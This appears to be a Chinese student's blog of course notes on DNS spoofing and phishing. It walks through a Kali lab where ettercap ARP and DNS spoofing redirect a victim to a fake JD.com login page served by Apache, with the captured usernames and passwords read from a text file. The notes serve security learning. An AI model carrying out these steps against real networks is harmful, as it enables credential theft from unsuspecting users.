[网络安全学习篇23]：DNS欺骗与钓Y网站（千峰网络安全视频笔记 p114-p116）

引言：我的系列博客[网络安全学习篇]上线了，小编也是初次创作博客，经验不足；对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙，其实看到目录有300多集的时候，讲道理，有点怂了，所以我就想到了通过写博客（课程笔记）的形式去学习它，虽然写博客会让我多花几倍的时间去学习它，但是当我完成一篇博客所获得的成就感和你们对于我的认同感，让我很满足，能够鼓励我一天天的坚持下去，也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白，大部分知识点都是初次接触，出现对其理解不深入，不完整，甚至也会出现错误有问题的地方，希望大家谅解、留言提出指正，同时也欢迎大家来找我一起交流学习！！！

 

往期博客：

[网络安全学习篇1]：windowsxp、windows2003、windows7、windows2008系统部署（千峰网络安全视频笔记）

[网络安全学习篇2]：IP详解及简单的DOS命令（千峰网络安全视频笔记 2 day）

[网络安全学习篇3]：批处理、病毒、用户与组管理、破解系统密码（千峰网络安全视频笔记 3 day）

[网络安全学习篇4]：NTFS安全权限、文件共享服务器（千峰网络安全视频笔记 4 day）

[网络安全学习篇5]：DHCP部署与安全、DNS部署与安全（千峰网络安全视频笔记 5 day）

[网络安全学习篇6]：WEB服务器和FTP服务器（千峰网络安全视频笔记 6 day）

[网络安全学习篇7]：域（千峰网络安全视频笔记 7 day）

[网络安全学习篇8]：PKI（千峰网络安全视频笔记 8 day）

[网络安全学习篇9]：渗透测试（千峰网络安全视频笔记 9 day）

[网络安全学习篇10]：扫描技术、暴力破解工具（千峰网络安全视频笔记 10 day）

[网咯安全学习篇11]：OSI与TCP/IP协议（千峰网络安全视频笔记 11 day）

[网络安全学习篇12]：数据链路层及交换机的学习（千峰网络安全视频笔记 12 day）

[网络安全学习篇13]：IP包头分析与路由原理及实验（千峰网络安全视频笔记 13  day）

[网络安全学习篇14]：ARP协议、ARP欺骗与攻击（千峰网络安全视频笔记 14 day）

[网络安全学习篇15]：VLAN、Trunk （千峰网络安全视频笔记 15 day）

[网络安全学习篇16]：单臂路由、ICMP协议（千峰网络安全视频笔记 16 day）

[网络安全学习篇17]：三层交换机、HSRP、网络规划（千峰网络安全视频笔记 17 day）

[网络安全学习篇18]：ACL及实验（千峰网络安全视频笔记 18 day）

[网络安全学习篇19]：NAT、动态路由及实验（千峰网络安全视频笔记 19 day）

[网络安全学习篇20]：vpen qf网络安全视频笔记 20 day 

[网络安全学习篇21]：防火墙（千峰网络安全视频笔记 21 day）

[网络安全学习篇22]：kali中间人攻击（千峰网络安全视频笔记 p111-p113）

[网络安全学习篇23]：DNS欺骗与钓Y网站（千峰网络安全视频笔记 p114-p116）（本篇）

下期博文：

[网络安全学习篇24]：漏洞与木马（千峰网络安全视频笔记 p117-p118）

 

目录

 

DNS欺骗、ARP攻击及钓鱼网站制作

实现目标

具体实验步骤：

---

DNS欺骗、ARP攻击及钓鱼网站制作

钓鱼者运用社会工程学只是诱骗受害者，以未授权情况下获取对方的姓名、年龄、邮箱账号、甚至是银行卡密码等私人信息

钓鱼往往呵社会工程学结合进行诱导，而社会工程学时黑客的内功，能否灵活运用可以体现一个黑客的个人修为，所以说防人之心不可无，。

社会工程学黑客常见伎俩：

电话号码欺骗

利用坏消息作案

滥用网民对社交等网络的信任

二维码引诱

等等

 

实现目标

使用kali系统模拟攻击者，利用中间人攻击手段来对受害者进行DNS欺骗、使受害者通过访问假的京东网站，来获取用户登录的用户名与密码

具体实验步骤：

ifconfig eth0 10.1.1.2 /24    配置ip
ifconfig eth0      查看IP
vim /etc/ettercap/etter.dns     进行DNS欺骗配置
    dd  删除
    a     插入
    写入：www.qf.com A  10.1.1.2
        www.qf.com ptr 10.1.1.2      防止目标主机反向解析
    "ESC"键退出插入界面
    ":wq"  退出

 

测试文件：https://pan.baidu.com/s/18HeixJ-duIkcbomksRhKVQ     提取码：oste

将其复制至Kali虚拟机桌面
systemctl start apache2    开启apache服务
netstat -antpl   查看apache 80端口是否开启
vim /var/www/html    进入默认网站文件目录
    rm -rf *    删除当前文件夹下所有文件
    cp -r /root/Desktop/s1/* ./     复制到该目录下
    权限设置：
    ls -l     查看文件权限
    chmod 777 1.txt     将1.txt开放至最低权限
    cat 1.txt     查看获取到的账户密码
开启ettercap软件
    开启ARP欺骗
    开启DNS欺骗

 

---

参考文献：

B站千峰网络信息安全开源视频课程